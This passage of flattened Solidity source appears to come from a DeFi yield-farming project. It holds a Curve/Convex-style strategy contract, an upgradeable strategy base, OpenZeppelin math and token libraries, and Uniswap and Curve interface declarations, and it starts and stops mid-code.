tokenBalance); // we can accept 0 as minimum, this will be called only by trusted roles uint256 minimum = 0; if (nTokens() == 2) { uint256[2] memory depositArray; depositArray[depositArrayPosition()] = tokenBalance; ICurveDeposit_2token(curveDeposit()).add_liquidity(depositArray, minimum); } else if (nTokens() == 3) { uint256[3] memory depositArray; depositArray[depositArrayPosition()] = tokenBalance; ICurveDeposit_3token(curveDeposit()).add_liquidity(depositArray, minimum); } else if (nTokens() == 4) { uint256[4] memory depositArray; depositArray[depositArrayPosition()] = tokenBalance; if (metaPool()) { ICurveDeposit_4token_meta(curveDeposit()).add_liquidity(underlying(), depositArray, minimum); } else { ICurveDeposit_4token(curveDeposit()).add_liquidity(depositArray, minimum); } } } /* * Stakes everything the strategy holds into the reward pool */ function investAllUnderlying() internal onlyNotPausedInvesting { // this check is needed, because most of the SNX reward pools will revert if // you try to stake(0). if(IERC20(underlying()).balanceOf(address(this)) > 0) { enterRewardPool(); } } /* * Withdraws all the asset to the vault */ function withdrawAllToVault() public restricted { if (address(rewardPool()) != address(0)) { exitRewardPool(); } _liquidateReward(); IERC20(underlying()).safeTransfer(vault(), IERC20(underlying()).balanceOf(address(this))); } /* * Withdraws all the asset to the vault */ function withdrawToVault(uint256 amount) public restricted { // Typically there wouldn't be any amount here // however, it is possible because of the emergencyExit uint256 entireBalance = IERC20(underlying()).balanceOf(address(this)); if(amount > entireBalance){ // While we have the check above, we still using SafeMath below // for the peace of mind (in case something gets changed in between) uint256 needToWithdraw = amount.sub(entireBalance); uint256 toWithdraw = Math.min(rewardPoolBalance(), needToWithdraw); partialWithdrawalRewardPool(toWithdraw); } IERC20(underlying()).safeTransfer(vault(), amount); } /* * Note that we currently do not have a mechanism here to include the * amount of reward that is accrued. */ function investedUnderlyingBalance() external view returns (uint256) { return rewardPoolBalance() .add(IERC20(depositReceipt()).balanceOf(address(this))) .add(IERC20(underlying()).balanceOf(address(this))); } /* * Governance or Controller can claim coins that are somehow transferred into the contract * Note that they cannot come in take away coins that are used and defined in the strategy itself */ function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance { // To make sure that governance cannot come in and take away the coins require(!unsalvagableTokens(token), "token is defined as not salvagable"); IERC20(token).safeTransfer(recipient, amount); } /* * Get the reward, sell it in exchange for underlying, invest what you got. * It's not much, but it's honest work. * * Note that although `onlyNotPausedInvesting` is not added here, * calling `investAllUnderlying()` affectively blocks the usage of `doHardWork` * when the investing is being paused by governance. */ function doHardWork() external onlyNotPausedInvesting restricted { IBaseRewardPool(rewardPool()).getReward(); _liquidateReward(); investAllUnderlying(); } /** * Can completely disable claiming UNI rewards and selling. Good for emergency withdraw in the * simplest possible way. */ function setSell(bool s) public onlyGovernance { _setSell(s); } /** * Sets the minimum amount of CRV needed to trigger a sale. */ function setSellFloor(uint256 floor) public onlyGovernance { _setSellFloor(floor); } // masterchef rewards pool ID function _setPoolId(uint256 _value) internal { setUint256(_POOLID_SLOT, _value); } function poolId() public view returns (uint256) { return getUint256(_POOLID_SLOT); } function _setDepositToken(address _address) internal { setAddress(_DEPOSIT_TOKEN_SLOT, _address); } function depositToken() public view returns (address) { return getAddress(_DEPOSIT_TOKEN_SLOT); } function _setDepositReceipt(address _address) internal { setAddress(_DEPOSIT_RECEIPT_SLOT, _address); } function depositReceipt() public view returns (address) { return getAddress(_DEPOSIT_RECEIPT_SLOT); } function _setDepositArrayPosition(uint256 _value) internal { setUint256(_DEPOSIT_ARRAY_POSITION_SLOT, _value); } function depositArrayPosition() public view returns (uint256) { return getUint256(_DEPOSIT_ARRAY_POSITION_SLOT); } function _setCurveDeposit(address _address) internal { setAddress(_CURVE_DEPOSIT_SLOT, _address); } function curveDeposit() public view returns (address) { return getAddress(_CURVE_DEPOSIT_SLOT); } function _setNTokens(uint256 _value) internal { setUint256(_NTOKENS_SLOT, _value); } function nTokens() public view returns (uint256) { return getUint256(_NTOKENS_SLOT); } function _setMetaPool(bool _value) internal { setBoolean(_METAPOOL_SLOT, _value); } function metaPool() public view returns (bool) { return getBoolean(_METAPOOL_SLOT); } function finalizeUpgrade() external onlyGovernance { _finalizeUpgrade(); setHodlVault(multiSigAddr); setHodlRatio(1000); // 10% } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity 0.5.16; interface IStrategy { function unsalvagableTokens(address tokens) external view returns (bool); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function vault() external view returns (address); function withdrawAllToVault() external; function withdrawToVault(uint256 amount) external; function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch() // should only be called by controller function salvage(address recipient, address token, uint256 amount) external; function doHardWork() external; function depositArbCheck() external view returns(bool); } pragma solidity 0.5.16; interface IVault { function initializeVault( address _storage, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) external ; function balanceOf(address) external view returns (uint256); function underlyingBalanceInVault() external view returns (uint256); function underlyingBalanceWithInvestment() external view returns (uint256); // function store() external view returns (address); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function strategy() external view returns (address); function setStrategy(address _strategy) external; function announceStrategyUpdate(address _strategy) external; function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external; function deposit(uint256 amountWei) external; function depositFor(uint256 amountWei, address holder) external; function withdrawAll() external; function withdraw(uint256 numberOfShares) external; function getPricePerFullShare() external view returns (uint256); function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256); // hard work should be callable only by the controller (by the hard worker) or by governance function doHardWork() external; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./BaseUpgradeableStrategyStorage.sol"; import "../inheritance/ControllableInit.sol"; import "../interface/IController.sol"; import "../interface/IFeeRewardForwarderV6.sol"; import "../interface/ILiquidator.sol"; import "../interface/ILiquidatorRegistry.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract BaseUpgradeableStrategyUL is Initializable, ControllableInit, BaseUpgradeableStrategyStorage { using SafeMath for uint256; using SafeERC20 for IERC20; bytes32 internal constant _UL_REGISTRY_SLOT = 0x7a4b558e8ed4a66729f4a918db093413f0f1ae77c0de7c88bea8b99e084b2a17; bytes32 internal constant _UL_SLOT = 0xebfe408f65547b28326a79acf512c0f9a2bf4211ece39254d7c3ec96dd3dd242; mapping(address => mapping(address => address[])) public storedLiquidationPaths; mapping(address => mapping(address => bytes32[])) public storedLiquidationDexes; event ProfitsNotCollected(bool sell, bool floor); event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); event ProfitAndBuybackLog(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); modifier restricted() { require(msg.sender == vault() || msg.sender == controller() || msg.sender == governance(), "The sender has to be the controller, governance, or vault"); _; } // This is only used in `investAllUnderlying()` // The user can still freely withdraw from the strategy modifier onlyNotPausedInvesting() { require(!pausedInvesting(), "Action blocked as the strategy is in emergency state"); _; } constructor() public BaseUpgradeableStrategyStorage() { assert(_UL_REGISTRY_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.ULRegistry")) - 1)); assert(_UL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.UL")) - 1)); } function initialize( address _storage, address _underlying, address _vault, address _rewardPool, address _rewardToken, uint256 _profitSharingNumerator, uint256 _profitSharingDenominator, bool _sell, uint256 _sellFloor, uint256 _implementationChangeDelay, address _universalLiquidatorRegistry ) public initializer { ControllableInit.initialize( _storage ); _setUnderlying(_underlying); _setVault(_vault); _setRewardPool(_rewardPool); _setRewardToken(_rewardToken); _setProfitSharingNumerator(_profitSharingNumerator); _setProfitSharingDenominator(_profitSharingDenominator); _setSell(_sell); _setSellFloor(_sellFloor); _setNextImplementationDelay(_implementationChangeDelay); _setPausedInvesting(false); _setUniversalLiquidatorRegistry(_universalLiquidatorRegistry); _setUniversalLiquidator(ILiquidatorRegistry(universalLiquidatorRegistry()).universalLiquidator()); } /** * Schedules an upgrade for this vault's proxy. */ function scheduleUpgrade(address impl) public onlyGovernance { _setNextImplementation(impl); _setNextImplementationTimestamp(block.timestamp.add(nextImplementationDelay())); } function _finalizeUpgrade() internal { _setNextImplementation(address(0)); _setNextImplementationTimestamp(0); } function shouldUpgrade() external view returns (bool, address) { return ( nextImplementationTimestamp() != 0 && block.timestamp > nextImplementationTimestamp() && nextImplementation() != address(0), nextImplementation() ); } // reward notification function notifyProfitInRewardToken(uint256 _rewardBalance) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator()).div(profitSharingDenominator()); emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken()).safeApprove(controller(), 0); IERC20(rewardToken()).safeApprove(controller(), feeAmount); IController(controller()).notifyFee( rewardToken(), feeAmount ); } else { emit ProfitLogInReward(0, 0, block.timestamp); } } function notifyProfitAndBuybackInRewardToken(uint256 _rewardBalance, address pool, uint256 _buybackRatio) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator()).div(profitSharingDenominator()); uint256 buybackAmount = _rewardBalance.sub(feeAmount).mul(_buybackRatio).div(10000); address forwarder = IController(controller()).feeRewardForwarder(); emit ProfitAndBuybackLog(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken()).safeApprove(forwarder, 0); IERC20(rewardToken()).safeApprove(forwarder, _rewardBalance); IFeeRewardForwarderV6(forwarder).notifyFeeAndBuybackAmounts( rewardToken(), feeAmount, pool, buybackAmount ); } else { emit ProfitAndBuybackLog(0, 0, block.timestamp); } } function _setUniversalLiquidatorRegistry(address _address) internal { setAddress(_UL_REGISTRY_SLOT, _address); } function universalLiquidatorRegistry() public view returns (address) { return getAddress(_UL_REGISTRY_SLOT); } function _setUniversalLiquidator(address _address) internal { setAddress(_UL_SLOT, _address); } function universalLiquidator() public view returns (address) { return getAddress(_UL_SLOT); } function configureLiquidation(address[] memory path, bytes32[] memory dexes) public onlyGovernance { address fromToken = path[0]; address toToken = path[path.length - 1]; require(dexes.length == path.length - 1, "lengths do not match"); storedLiquidationPaths[fromToken][toToken] = path; storedLiquidationDexes[fromToken][toToken] = dexes; } } // SPDX-License-Identifier: MIT /** *Submitted for verification at Etherscan.io on 2020-05-05 */ // File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } pragma solidity 0.5.16; interface IBooster { function deposit(uint256 _pid, uint256 _amount, bool _stake) external; function depositAll(uint256 _pid, bool _stake) external; function withdraw(uint256 _pid, uint256 _amount) external; function withdrawAll(uint256 _pid) external; function poolInfo(uint256 _pid) external view returns (address lpToken, address, address, address, address, bool); function earmarkRewards(uint256 _pid) external; } pragma solidity 0.5.16; interface IBaseRewardPool { function balanceOf(address account) external view returns(uint256 amount); function pid() external view returns (uint256 _pid); function stakingToken() external view returns (address _stakingToken); function getReward() external; function stake(uint256 _amount) external; function stakeAll() external; function withdraw(uint256 amount, bool claim) external; function withdrawAll(bool claim) external; function withdrawAndUnwrap(uint256 amount, bool claim) external; function withdrawAllAndUnwrap(bool claim) external; } pragma solidity 0.5.16; interface ICurveDeposit_2token { function get_virtual_price() external view returns (uint); function add_liquidity( uint256[2] calldata amounts, uint256 min_mint_amount ) external payable; function remove_liquidity_imbalance( uint256[2] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity( uint256 _amount, uint256[2] calldata amounts ) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external payable; function calc_token_amount( uint256[2] calldata amounts, bool deposit ) external view returns(uint); } pragma solidity 0.5.16; interface ICurveDeposit_3token { function get_virtual_price() external view returns (uint); function add_liquidity( uint256[3] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_imbalance( uint256[3] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity( uint256 _amount, uint256[3] calldata amounts ) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function calc_token_amount( uint256[3] calldata amounts, bool deposit ) external view returns(uint); } pragma solidity 0.5.16; interface ICurveDeposit_4token { function get_virtual_price() external view returns (uint); function add_liquidity( uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_imbalance( uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity( uint256 _amount, uint256[4] calldata amounts ) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function calc_token_amount( uint256[4] calldata amounts, bool deposit ) external view returns(uint); } pragma solidity 0.5.16; interface ICurveDeposit_4token_meta { function add_liquidity( address pool, uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_imbalance( address pool, uint256[4] calldata amounts, uint256 max_burn_amount ) external; function remove_liquidity( address pool, uint256 _amount, uint256[4] calldata amounts ) external; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, 